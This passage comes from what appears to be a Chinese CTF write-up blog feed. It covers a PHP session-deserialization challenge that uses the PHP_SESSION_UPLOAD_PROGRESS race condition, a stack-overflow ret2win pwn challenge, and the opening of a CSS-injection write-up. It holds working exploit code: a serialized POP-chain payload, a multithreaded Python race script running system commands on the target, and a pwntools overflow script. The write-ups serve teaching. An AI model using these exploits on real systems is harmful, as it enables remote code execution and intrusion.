对象)</span></div></div><div><div><div>5</div></div><div><span><span>                  </span></span><span>-&gt;  eval($this-&gt;cmd)  -&gt;  执行命令</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>命令输出跟在页面后面一起返回，所以响应里能直接看到结果。</p><hr /></section></section>
<section><h2>5. 怎么往 session 里写东西：PHP_SESSION_UPLOAD_PROGRESS<a href="#5-怎么往-session-里写东西php_session_upload_progress"><span>#</span></a></h2><p>现在的问题变成：<strong>页面上没有 <code>$_SESSION['x'] = $_GET['x']</code> 这种写入口，怎么把 payload 写进 session 文件？</strong></p><p>答案是 PHP 的<strong>上传进度</strong>特性。</p><section><h3>5.1 机制<a href="#51-机制"><span>#</span></a></h3><p><code>session.upload_progress.enabled</code> 默认开启。当一个请求满足：</p><ul>
<li><code>Content-Type: multipart/form-data</code></li>
<li>表单里有一个字段名等于 <code>session.upload_progress.name</code>（默认 <code>PHP_SESSION_UPLOAD_PROGRESS</code>）</li>
</ul><p>PHP 会<strong>自动帮你 <code>session_start()</code></strong>，并往 <code>$_SESSION</code> 塞一个元素：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>$_SESSION[ "upload_progress_" . &lt;你传的字段值&gt; ] = 进度信息数组</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>看清楚：<strong>key 的前缀固定，后缀完全由我们控制，而且没有任何转义和校验。</strong></p></section><section><h3>5.2 <code>|</code> 为什么是致命一击<a href="#52--为什么是致命一击"><span>#</span></a></h3><p>把字段值设成：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>aaa|O:8:"webshell":2:{...}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>（或者像本文用的 payload 自带开头 <code>|</code>，字段值就是 <code>|O:8:"webshell":2:{...}</code>）</p><p>此时内存里 <code>$_SESSION</code> 的键名就是 <code>upload_progress_aaa|O:8:"webshell":2:{...}</code>。</p><p>脚本结束时，PHP 用 <strong><code>php</code> 格式</strong>写盘，格式是 <code>键名|值</code>，于是磁盘上的文件变成：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>upload_progress_aaa|O:8:"webshell":2:{s:7:"caution";O:9:"execution":1:{s:3:"cmd";s:15:"system("ls /");";}s:9:"execution";N;}|a:5:{s:10:"start_time";i:1695...;...}</span></div></div><div><div><div>2</div></div><div><span><span>                    </span></span><span>^ 从这里开始，php 格式把它当"值"去 unserialize</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>下次带着同一个 <code>PHPSESSID</code> 访问 <code>Rea1web3he11.php</code>，<code>session_start()</code> 读文件，<code>php</code> 引擎的逻辑是：</p><ol>
<li>找第一个 <code>|</code>；</li>
<li>左边当键名：<code>upload_progress_aaa</code>；</li>
<li>右边当值，丢给 <code>unserialize()</code>：<code>O:8:"webshell":2:{...}|a:5:{...}</code>；</li>
<li><code>unserialize()</code> 解析完 <code>webshell</code> 对象就停了，后面多余的 <code>|a:5:{...}</code> 被直接无视。</li>
</ol><p><strong>结果：一个完全由我们控制的 <code>webshell</code> 对象，被凭空”还原”进了 <code>$_SESSION</code>。</strong></p><p>这就是 session 反序列化里最有名的一个点：<strong>因为 <code>php</code> 格式用 <code>|</code> 做分隔符，而 <code>|</code> 出现在我们可控的 key 里，等于我们亲手伪造了分隔符，把后面的内容变成了”值”。</strong></p></section><section><h3>5.3 两种写法，千万不要混<a href="#53-两种写法千万不要混"><span>#</span></a></h3><p><strong>写法 A（本文用的）：字段值带开头 <code>|</code></strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>PHP_SESSION_UPLOAD_PROGRESS = |O:8:"webshell":2:{...}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>写盘后：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>upload_progress_|O:8:"webshell":2:{...}|a:5:{...}</span></div></div><div><div><div>2</div></div><div><span>^^^^^^^^^^^^^^^^^ 键名   ^^ 值从这里开始</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>upload_progress_</code> 正好当键名，第一个 <code>|</code> 后面就是序列化对象 -&gt; 成功。</p><p><strong>写法 B：字段值是 <code>aaa|O:8:...</code>（payload 本身不带 <code>|</code>）</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>upload_progress_aaa|O:8:"webshell":2:{...}|a:5:{...}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>同样成立。</p><p><strong>错误写法：两个都加，变成 <code>aaa||O:8:...</code></strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>upload_progress_aaa||O:8:...</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>读的时候值变成 <code>|O:8:...</code>，<code>unserialize()</code> 碰到开头的 <code>|</code> 直接失败，对象不会被还原。</p><blockquote><p><strong>字段值 = 一段能当键名的文字 + 恰好一个 <code>|</code> + 序列化字符串。</strong></p></blockquote></section><section><h3>5.4 补充：写盘和读盘 handler 不一致也没关系<a href="#54-补充写盘和读盘-handler-不一致也没关系"><span>#</span></a></h3><p><strong>写 session 的请求</strong>用的是 php.ini 默认的 handler（因为 <code>session_start()</code> 是 PHP 在上传解析阶段自动触发的，早于脚本里的 <code>ini_set</code>），很可能是 <code>php_serialize</code>：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>a:1:{s:49:"upload_progress_aaa|O:8:"webshell":2:{...}";a:5:{...}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>而<strong>读的页面</strong>强制用 <code>php</code> handler，它找第一个 <code>|</code>，同样把 <code>O:8:"webshell"...</code> 拿去 <code>unserialize()</code>。</p><p>结论：只要”写”和”读”两个阶段的 handler 不一致，键名/文件名里的 <code>|</code> 就能完成注入。本题的 <code>ini_set('session.serialize_handler','php')</code> 正是这个”不一致”的来源。</p><hr /></section></section>
<section><h2>6. 为什么单发一次不行：cleanup = On 与条件竞争<a href="#6-为什么单发一次不行cleanup--on-与条件竞争"><span>#</span></a></h2><p>如果你老老实实”发一次 POST -&gt; 再发一次 GET”，会发现<strong>完全没反应</strong>。这是第二个坑。</p><section><h3>6.1 单次请求的时间线<a href="#61-单次请求的时间线"><span>#</span></a></h3><p><code>session.upload_progress.cleanup</code> 默认是 <code>On</code>，含义是”POST 数据读完之后，把进度信息从 session 里删掉”。所以：</p>

<table><thead><tr><th>时刻</th><th>发生了什么</th></tr></thead><tbody><tr><td>(1) 请求进入，开始解析 POST</td><td>上传进度处理器自动开 session，把 `upload_progress_aaa</td></tr><tr><td>(2) 上传过程中</td><td>PHP 会把带进度信息的 session <strong>落盘</strong>（这正是”上传进度”功能存在的意义：让另一个请求能读到进度）</td></tr><tr><td>(3) 上传结束</td><td><strong>cleanup 触发</strong>，把 <code>upload_progress_</code> 开头的键从 <code>$_SESSION</code> 删掉</td></tr><tr><td>(4) 脚本结束</td><td>把已经被清空的 <code>$_SESSION</code> 写回文件 -&gt; <strong>文件里没有 payload</strong></td></tr></tbody></table><p>我们注入的键名以 <code>upload_progress_</code> 开头，所以 cleanup 会把它一起删掉。</p><p><strong>唯一能利用的窗口只在步骤 (2)：上传还在进行、payload 已经落盘、cleanup 还没发生。</strong></p></section><section><h3>6.2 竞争思路<a href="#62-竞争思路"><span>#</span></a></h3><p>既然窗口很短，那就<strong>反复制造窗口 + 反复抢占窗口</strong>：</p><ul>
<li>多个线程持续 POST，并故意上传一个 1MB 的文件，把”上传中”的时间拉长，让窗口尽量大；</li>
<li>同时多个线程持续 GET <code>Rea1web3he11.php</code>，每次 GET 都触发 <code>session_start()</code> 反序列化；</li>
<li>只要有一次 GET 正好落在窗口里 -&gt; 反序列化 -&gt; <code>eval</code> -&gt; 命中。</li>
</ul><p>命中后命令输出会直接出现在那个 GET 的响应里，检测到标记字符串就退出并打印结果。</p><blockquote><p>小提示：上传超大文件窗口更长、更容易命中，但会占用目标带宽；1MB 左右配 4 写 4 读是比较舒服的平衡点。</p></blockquote><hr /></section></section>
<section><h2>7. 完整 EXP<a href="#7-完整-exp"><span>#</span></a></h2><section><h3>7.1 先用本地 PHP 生成 payload<a href="#71-先用本地-php-生成-payload"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>class</span><span> </span><span>webshell</span><span>{ </span><span>public</span><span> </span><span>$caution</span><span>; </span><span>public</span><span> </span><span>$execution</span><span>; }</span></div></div><div><div><div>3</div></div><div><span>class</span><span> </span><span>execution</span><span>{ </span><span>public</span><span> </span><span>$cmd</span><span>; }</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>$b</span><span><span> </span><span>=</span><span> </span></span><span>new</span><span> </span><span>execution</span><span>();</span></div></div><div><div><div>6</div></div><div><span>$b</span><span> -&gt; </span><span>cmd</span><span><span> </span><span>=</span><span> </span></span><span>'system("cat /secret/flag");'</span><span>;</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>$a</span><span><span> </span><span>=</span><span> </span></span><span>new</span><span> </span><span>webshell</span><span>();</span></div></div><div><div><div>9</div></div><div><span>$a</span><span> -&gt; </span><span>caution</span><span><span> </span><span>=</span><span> </span></span><span>$b</span><span>;</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span>echo</span><span> </span><span>'|'</span><span>.</span><span>serialize</span><span>(</span><span>$a</span><span>);</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>把输出的 <code>|O:8:"webshell":...</code> 整串复制出来。<strong>每次改命令都要重新生成一次，因为长度会变。</strong></p></section><section><h3>7.2 竞争脚本<a href="#72-竞争脚本"><span>#</span></a></h3><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>import</span><span> requests, threading, time</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span><span>HOST</span><span>   </span><span>=</span><span> </span></span><span>"http://node4.anna.nssctf.cn:27400"</span></div></div><div><div><div>4</div></div><div><span><span>TARGET</span><span> </span><span>=</span><span> </span><span>HOST</span><span> </span><span>+</span><span> </span></span><span>"/Rea1web3he11.php"</span><span>   </span><span># session_start() 在这里，才是反序列化触发点</span></div></div><div><div><div>5</div></div><div><span><span>SESS</span><span>   </span><span>=</span><span> </span></span><span>"racecodex001"</span><span>               </span><span># 自定义 PHPSESSID，读写两端都用它</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 想执行的命令，用 X9X 当分隔标记，方便判断是否命中</span></div></div><div><div><div>8</div></div><div><span><span>cmd </span><span>=</span><span> </span></span><span>'system("id; echo X9X; ls -la /; echo X9X; cat /secret/flag; echo X9X");'</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span># 构造 POP 链序列化字符串，%d 是 cmd 的字节长度，必须精确</span></div></div><div><div><div>11</div></div><div><span><span>payload </span><span>=</span><span> (</span></span><span>'O:8:"webshell":2:{'</span></div></div><div><div><div>12</div></div><div><span>           </span><span>'s:7:"caution";O:9:"execution":1:{s:3:"cmd";s:</span><span>%d</span><span>:"</span><span>%s</span><span>";}'</span></div></div><div><div><div>13</div></div><div><span>           </span><span>'s:9:"execution";N;}'</span><span><span>) </span><span>%</span><span> (</span></span><span>len</span><span>(cmd), cmd)</span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span><span>val </span><span>=</span><span> </span></span><span>"|"</span><span><span> </span><span>+</span><span> payload        </span></span><span># 字段值：一段能当 key 的文字（这里由 upload_progress_ 提供）+ 一个 | + 序列化串</span></div></div><div><div><div>16</div></div><div>
</div></div><div><div><div>17</div></div><div><span><span>stop </span><span>=</span><span> threading.</span><span>Event</span><span>()</span></span></div></div><div><div><div>18</div></div><div><span><span>hit  </span><span>=</span><span> []</span></span></div></div><div><div><div>19</div></div><div>
</div></div><div><div><div>20</div></div><div><span>def</span><span> </span><span>writer</span><span>():</span></div></div><div><div><div>21</div></div><div><span>    </span><span>"""不停上传：让恶意 payload 反复落盘到 session 文件"""</span></div></div><div><div><div>22</div></div><div><span><span>    </span></span><span>files </span><span>=</span><span> {</span><span>"f"</span><span>: (</span><span>"a.txt"</span><span>, </span><span>b</span><span>"A"</span><span><span> </span><span>*</span><span> (</span></span><span>1024</span><span><span> </span><span>*</span><span> </span></span><span>1024</span><span>))}   </span><span># 1MB，用来拉长窗口</span></div></div><div><div><div>23</div></div><div><span>    </span><span>while</span><span> </span><span>not</span><span><span> stop.</span><span>is_set</span><span>():</span></span></div></div><div><div><div>24</div></div><div><span>        </span><span>try</span><span>:</span></div></div><div><div><div>25</div></div><div><span><span>            </span></span><span>requests.</span><span>post</span><span>(</span><span>TARGET</span><span>,</span></div></div><div><div><div>26</div></div><div><span>                          </span><span>data</span><span><span>=</span><span>{</span></span><span>"PHP_SESSION_UPLOAD_PROGRESS"</span><span>: val},   </span><span># 注入点</span></div></div><div><div><div>27</div></div><div><span>                          </span><span>files</span><span><span>=</span><span>files,</span></span></div></div><div><div><div>28</div></div><div><span>                          </span><span>cookies</span><span><span>=</span><span>{</span></span><span>"PHPSESSID"</span><span><span>: </span><span>SESS</span><span>},</span></span></div></div><div><div><div>29</div></div><div><span>                          </span><span>timeout</span><span>=</span><span>30</span><span>)</span></div></div><div><div><div>30</div></div><div><span>        </span><span>except</span><span> </span><span>Exception</span><span>:</span></div></div><div><div><div>31</div></div><div><span>            </span><span>pass</span></div></div><div><div><div>32</div></div><div>
</div></div><div><div><div>33</div></div><div><span>def</span><span> </span><span>reader</span><span>():</span></div></div><div><div><div>34</div></div><div><span>    </span><span>"""不停读取：每次 GET 都会触发一次 session_start() 反序列化"""</span></div></div><div><div><div>35</div></div><div><span>    </span><span>while</span><span> </span><span>not</span><span><span> stop.</span><span>is_set</span><span>():</span></span></div></div><div><div><div>36</div></div><div><span>        </span><span>try</span><span>:</span></div></div><div><div><div>37</div></div><div><span><span>            </span></span><span>r </span><span>=</span><span> requests.</span><span>get</span><span>(</span><span>TARGET</span><span>, </span><span>cookies</span><span><span>=</span><span>{</span></span><span>"PHPSESSID"</span><span><span>: </span><span>SESS</span><span>}, </span></span><span>timeout</span><span>=</span><span>30</span><span>)</span></div></div><div><div><div>38</div></div><div><span>            </span><span>if</span><span> </span><span>"X9X"</span><span> </span><span>in</span><span> r.text:</span></div></div><div><div><div>39</div></div><div><span><span>                </span></span><span>hit.</span><span>append</span><span>(r.text)</span></div></div><div><div><div>40</div></div><div><span><span>                </span></span><span>stop.</span><span>set</span><span>()</span></div></div><div><div><div>41</div></div><div><span>                </span><span>return</span></div></div><div><div><div>42</div></div><div><span>        </span><span>except</span><span> </span><span>Exception</span><span>:</span></div></div><div><div><div>43</div></div><div><span>            </span><span>pass</span></div></div><div><div><div>44</div></div><div>
</div></div><div><div><div>45</div></div><div><span><span>threads  </span><span>=</span><span> [threading.</span><span>Thread</span><span>(</span></span><span>target</span><span><span>=</span><span>writer, </span></span><span>daemon</span><span>=</span><span>True</span><span>) </span><span>for</span><span> _ </span><span>in</span><span> </span><span>range</span><span>(</span><span>4</span><span>)]</span></div></div><div><div><div>46</div></div><div><span><span>threads </span><span>+=</span><span> [threading.</span><span>Thread</span><span>(</span></span><span>target</span><span><span>=</span><span>reader, </span></span><span>daemon</span><span>=</span><span>True</span><span>) </span><span>for</span><span> _ </span><span>in</span><span> </span><span>range</span><span>(</span><span>4</span><span>)]</span></div></div><div><div><div>47</div></div><div><span>for</span><span> t </span><span>in</span><span> threads:</span></div></div><div><div><div>48</div></div><div><span><span>    </span></span><span>t.</span><span>start</span><span>()</span></div></div><div><div><div>49</div></div><div>
</div></div><div><div><div>50</div></div><div><span><span>deadline </span><span>=</span><span> time.</span><span>time</span><span>() </span><span>+</span><span> </span></span><span>75</span></div></div><div><div><div>51</div></div><div><span>while</span><span><span> time.</span><span>time</span><span>() </span><span>&lt;</span><span> deadline </span></span><span>and</span><span> </span><span>not</span><span><span> stop.</span><span>is_set</span><span>():</span></span></div></div><div><div><div>52</div></div><div><span><span>    </span></span><span>time.</span><span>sleep</span><span>(</span><span>1</span><span>)</span></div></div><div><div><div>53</div></div><div>
</div></div><div><div><div>54</div></div><div><span><span>stop.</span><span>set</span><span>()</span></span></div></div><div><div><div>55</div></div><div><span><span>time.</span><span>sleep</span><span>(</span></span><span>2</span><span>)</span></div></div><div><div><div>56</div></div><div><span>print</span><span>(hit[</span><span>0</span><span>] </span><span>if</span><span> hit </span><span>else</span><span> </span><span>"no hit"</span><span>)</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>实测两三秒内就在响应里看到命令输出。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>payload = ('O:8:"webshell":2:{'</span></div></div><div><div><div>2</div></div><div><span><span>             </span></span><span>'s:7:"caution";O:9:"execution":1:{s:3:"cmd";s:%d:"%s";}'</span></div></div><div><div><div>3</div></div><div><span><span>             </span></span><span>'s:9:"execution";N;}') % (len(cmd), cmd)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这是PHP 序列化字符串，作用是在靶机上”凭空还原”出这样一个对象结构：</p><p>webshell 对象
├─ caution   = execution 对象
│               └─ cmd = 我们的 PHP 代码
└─ execution = null（没用，占位）</p><p>当 session_start() 读到它并反序列化，脚本结束时 webshell::__destruct() 触发 → 调 caution-&gt;world_execute() →
eval(cmd)。这就是把”字符串”变成”命令执行”的那一步。</p><p>序列化语法的规律（记住这几条就够）：</p><p>写法                       含义
━━━━━━━━━━━━━━━━━━━━━━━━━  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
O:8:“webshell”:2:{…}     对象（Object），类名 webshell 占 8 个字节，共 2 个属性
─────────────────────────  ────────────────────────────────────────────────────────
s:7:“caution”;             字符串（String），名字 caution 占 7 个字节
─────────────────────────  ────────────────────────────────────────────────────────
O:9:“execution”:1:{…}    又嵌一个对象，类名 execution 占 9 字节，1 个属性
─────────────────────────  ────────────────────────────────────────────────────────
s:3:“cmd”;s:71:”…”;      属性名 cmd 占 3 字节，值是占 71 字节的字符串
─────────────────────────  ────────────────────────────────────────────────────────
N;                         null</p><p>这些数字全部来自靶机源码里真实的类定义：类名长度、属性个数、属性名长度，一个字都不能改，改了就对不上。</p><hr /></section></section>
<section><h2>8. 拿到 flag<a href="#8-拿到-flag"><span>#</span></a></h2><p>第一次竞争命中的响应：
</p><figure><img src="/images/uploads/20260926-202843-013ad3.png" alt="2026-09-26_20-28-27.png" /><figcaption>2026-09-26_20-28-27.png</figcaption></figure><p></p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!&lt;br&gt;uid=33(www-data) gid=33(www-data) groups=33(www-data)</span></div></div><div><div><div>2</div></div><div><span>X9X</span></div></div><div><div><div>3</div></div><div><span>total 84</span></div></div><div><div><div>4</div></div><div><span>drwxr-xr-x   1 root root 4096 ... .</span></div></div><div><div><div>5</div></div><div><span>drwxr-xr-x   1 root root 4096 ... ..</span></div></div><div><div><div>6</div></div><div><span>-rwxr-xr-x   1 root root    0 ... .dockerenv</span></div></div><div><div><div>7</div></div><div><span>drwxr-xr-x   1 root root 4096 ... bin</span></div></div><div><div><div>8</div></div><div><span>...</span></div></div><div><div><div>9</div></div><div><span>drwxr-xr-x   2 root root 4096 ... secret       &lt;- 可疑目录</span></div></div><div><div><div>10</div></div><div><span>...</span></div></div><div><div><div>11</div></div><div><span>drwxrwxrwt   1 root root 4096 ... tmp</span></div></div><div><div><div>12</div></div><div><span>...</span></div></div><div><div><div>13</div></div><div><span>X9X</span></div></div><div><div><div>14</div></div><div><span>X9X</span></div></div><div><div><div>15</div></div><div><span>total 32                                            &lt;- web 根目录</span></div></div><div><div><div>16</div></div><div><span>-rwxrwxrwx 1 root root 772  Rea1web3he11.php</span></div></div><div><div><div>17</div></div><div><span>-rwxrwxrwx 1 root root 497  flag.php               &lt;- 假 flag</span></div></div><div><div><div>18</div></div><div><span>-rwxrwxrwx 1 root root 7663 index.php</span></div></div><div><div><div>19</div></div><div><span>-rwxrwxrwx 1 root root 502  t00llll.php</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>看到 <code>/secret</code>，把命令换成读它，再跑一次竞争：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>system("ls -la /secret; echo X9X; cat /secret/* 2&gt;/dev/null; echo X9X")</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>结果：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>total 12</span></div></div><div><div><div>2</div></div><div><span>drwxr-xr-x 2 root root 4096 ... .</span></div></div><div><div><div>3</div></div><div><span>drwxr-xr-x 1 root root 4096 ... ..</span></div></div><div><div><div>4</div></div><div><span>-rw-r--r-- 1 root root   45 Sep 26 10:30 flag</span></div></div><div><div><div>5</div></div><div><span>X9X</span></div></div><div><div><div>6</div></div><div><span>NSSCTF{bdd55422-e537-4fcd-bedf-c2073c3ba5da}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>环境变量里的 <code>FLAG=not_flag</code> 是干扰项，<code>flag.php</code> 也是干扰项。</p><hr /></section>
<section><h2>9. 踩坑清单与总结<a href="#9-踩坑清单与总结"><span>#</span></a></h2><ol>
<li><strong><code>?cmd=1</code> 是假的</strong>，只会 302 到 B 站；<code>flag.php</code> 也是假的（B 站 iframe）。</li>
<li><strong>读源码必须用 <code>php://filter</code> + base64</strong>，否则 include 会执行而不是显示源码。</li>
<li><strong>过滤封了 <code>sess</code> / <code>tmp</code> / <code>index</code> / <code>g</code> / <code>flag</code> / <code>data</code> / <code>log</code></strong>：不能 <code>include /tmp/sess_xxx</code>，不能用 <code>data://</code>、日志包含，只能走 <code>Rea1web3he11.php</code> 自身的 <code>session_start()</code>。</li>
<li><strong>payload 长度必须精确</strong>：<code>O:</code> 后的类名长度和属性个数、<code>s:</code> 后的字符串字节数，错一个字节全盘失败，而且 <code>error_reporting(0)</code> 看不到报错。建议本地 <code>serialize()</code> 生成。</li>
<li><strong><code>cleanup = On</code> 是第二个坑</strong>：单发一次 100% 不成功，必须多线程条件竞争；上传 1MB 文件能显著拉长可利用窗口。</li>
<li><strong>字段值里 <code>|</code> 的位置要讲究</strong>：要么自带开头 <code>|</code>，要么用 <code>aaa|</code> 前缀，绝对不能两个都加。</li>
<li><strong>核心记忆点</strong>：<code>php</code> 格式的 session 用 <code>|</code> 分隔”键名”和”值”，而 <code>PHP_SESSION_UPLOAD_PROGRESS</code> 让键名的后半段完全可控 -&gt; 可控的 <code>|</code> = 可控的 <code>unserialize()</code> 输入 = 反序列化漏洞。</li>
</ol></section>]]></content>
    </entry>
    <entry>
      <id>https://tuulei.cn/posts/watevrctf-2019-voting-machine/</id>
      <title type="text">[watevrCTF 2019]Voting Machine</title>
      <published>2026-09-24T00:00:00.000Z</published>
      <updated>2026-09-24T00:00:00.000Z</updated>
      <author><name>tuulei</name></author>
      <link rel="alternate" href="https://tuulei.cn/posts/watevrctf-2019-voting-machine/"/>
      <summary type="text">一个适合入门的pwn题</summary>
      <content type="html"><![CDATA[<section><h2>本题在线靶场<a href="#本题在线靶场"><span>#</span></a></h2><p><a href="https://www.nssctf.cn/problem/85" target="_blank">https://www.nssctf.cn/problem/85</a></p></section>
<section><h2>1. 漏洞分析<a href="#1-漏洞分析"><span>#</span></a></h2><p></p><figure><img src="/images/uploads/20260924-204702-a99e98.png" alt="2026-09-24_20-46-36.png" /><figcaption>2026-09-24_20-46-36.png</figcaption></figure><p></p><ul>
<li><strong>main函数</strong>：
<ul>
<li>程序使用了 <code>gets(v4);</code>。<code>gets</code> 函数不会检查输入长度，会导致栈溢出漏洞。</li>
<li>局部变量 <code>v4</code> 的定义是 <code>_BYTE v4[2]; // [rsp+Eh] [rbp-2h]</code>。说明 <code>v4</code> 距离 <code>rbp</code> 只有 2 个字节。</li>
</ul>
</li>
</ul><p></p><figure><img src="/images/uploads/20260924-204752-c1ddf1.png" alt="2026-09-24_20-47-33.png" /><figcaption>2026-09-24_20-47-33.png</figcaption></figure>
<figure><img src="/images/uploads/20260924-204819-c2ad04.png" alt="2026-09-24_20-48-08.png" /><figcaption>2026-09-24_20-48-08.png</figcaption></figure><p></p><ul>
<li><strong>后门函数</strong>：
<ul>
<li>在函数列表中存在 <code>super_secret_function</code>。</li>
<li>图3显示 <code>super_secret_function</code> 的起始地址为 <code>0x400807</code>。</li>
<li>该函数的逻辑是：<code>fopen("/home/ctf/flag.txt", "r")</code>，然后逐字符读取并打印（使用 <code>fgetc</code> 和 <code>putchar</code>），最后调用 <code>exit(0)</code>。这就是我们需要跳转的目标函数。</li>
</ul>
</li>
</ul></section>
<section><h2>2. 计算偏移量<a href="#2-计算偏移量"><span>#</span></a></h2><p>在 64 位程序中，覆盖返回地址的 Payload 结构如下：</p><ol>
<li>
<p><strong>填充 <code>v4</code> 到 <code>rbp</code></strong>：</p>
<ul>
<li>
<p><code>v4</code> 的起始地址**是 <code>rbp - 2</code>。</p>
</li>
<li>
<p><code>v4</code> 是一个 <code>_BYTE</code> 数组，长度为 2。所以它占用 <code>rbp - 2</code> 和 <code>rbp - 1</code> 这两个字节。</p>
</li>
<li>
<p><strong>保存的 RBP (Saved RBP)</strong> 紧挨着它，位于 <code>[rbp]</code>，占用 8 个字节（64位系统）。</p>
</li>
<li>
<p><strong>返回地址 (Return Address)</strong> 位于 <code>[rbp + 8]</code>，占用 8 个字节。</p>
</li>
</ul>
</li>
<li>
<p><strong>覆盖 RBP</strong>：64位系统 RBP 占 <strong>8 字节</strong>。</p>
</li>
<li>
<p><strong>覆盖返回地址（RET）</strong>：劫持程序流程，填入后门函数地址 <code>0x400807</code>，占 <strong>8 字节</strong>。</p>
</li>
<li>
<p><strong>总填充长度</strong>：<code>2 + 8 = 10</code> 字节。</p>
</li>
</ol><p><strong>Payload 构造</strong>：<code>b'A' * 10 + p64(0x400807)</code></p></section>
<section><h2>3.Exploit编写<a href="#3exploit编写"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>from</span><span> pwn </span><span>import</span><span><span> </span><span>*</span></span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span><span>context</span><span>(</span></span><span>arch</span><span>=</span><span>'amd64'</span><span>, </span><span>os</span><span>=</span><span>'linux'</span><span>)</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span># 连接靶机</span></div></div><div><div><div>6</div></div><div><span><span>p </span><span>=</span><span> </span><span>remote</span><span>(</span></span><span>'node5.anna.nssctf.cn'</span><span>, </span><span>21871</span><span>)</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span><span>p.</span><span>recvuntil</span><span>(</span></span><span>b</span><span>"Vote: "</span><span>)</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span># 正确的 Payload：10字节填充 + 后门地址</span></div></div><div><div><div>11</div></div><div><span><span>payload </span><span>=</span><span> </span></span><span>b</span><span>'A'</span><span><span> </span><span>*</span><span> </span></span><span>10</span><span>             </span><span># 2字节v4 + 8字节Saved RBP = 10</span></div></div><div><div><div>12</div></div><div><span><span>payload </span><span>+=</span><span> </span><span>p64</span><span>(</span></span><span>0x</span><span>400807</span><span>)        </span><span># 覆盖返回地址为 super_secret_function</span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span><span>p.</span><span>sendline</span><span>(payload)</span></span></div></div><div><div><div>15</div></div><div><span><span>p.</span><span>interactive</span><span>()</span></span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p></p><figure><img src="/images/uploads/20260924-204554-40e564.png" alt="2026-09-24_20-45-33.png" /><figcaption>2026-09-24_20-45-33.png</figcaption></figure><p></p></section>]]></content>
    </entry>
    <entry>
      <id>https://tuulei.cn/posts/an-xun-bei-2019-css-game-csszhu-ru/</id>
      <title type="text">[安洵杯 2019]CSS Game CSS注入</title>
      <published>2026-09-23T00:00:00.000Z</published>
      <updated>2026-09-23T00:00:00.000Z</updated>
      <author><name>tuulei</name></author>
      <link rel="alternate" href="https://tuulei.cn/posts/an-xun-bei-2019-css-game-csszhu-ru/"/>
      <summary type="text">这份 WP 假设你**完全没接触过 CSS 注入**，所以会先把 HTML、CSS、选择器、优先级这些基础讲明白，
然后再一步步把攻击链搭出来，最后给出可以直接跑的脚本和运行日志。</summary>
      <content type="html"><![CDATA[<blockquote><p>类型：Web / CSS 注入（CSS Injection）+ XS-Leak 盲注外带
难度：中等偏上，但前置知识只用得到 HTML/CSS 的最基础部分</p></blockquote>
<p>这份 WP 假设你<strong>完全没接触过 CSS 注入</strong>，所以会先把 HTML、CSS、选择器、优先级这些基础讲明白，
然后再一步步把攻击链搭出来，最后给出可以直接跑的脚本和运行日志。</p>
<hr />
<section><h2>本题在线靶场<a href="#本题在线靶场"><span>#</span></a></h2><p><a href="https://www.nssctf.cn/problem/730" target="_blank">https://www.nssctf.cn/problem/730</a></p></section>
<section><h2>1. 一句话总结<a href="#1-一句话总结"><span>#</span></a></h2><p>题目把一个用户可控参数拼进了 HTML 的 <code>&lt;link rel="stylesheet" href="..."&gt;</code> 里，
于是我们能<strong>让受害者的浏览器去加载我们指定的 CSS</strong>；flag 放在一个 <code>&lt;input type="hidden" value="..."&gt;</code> 里，
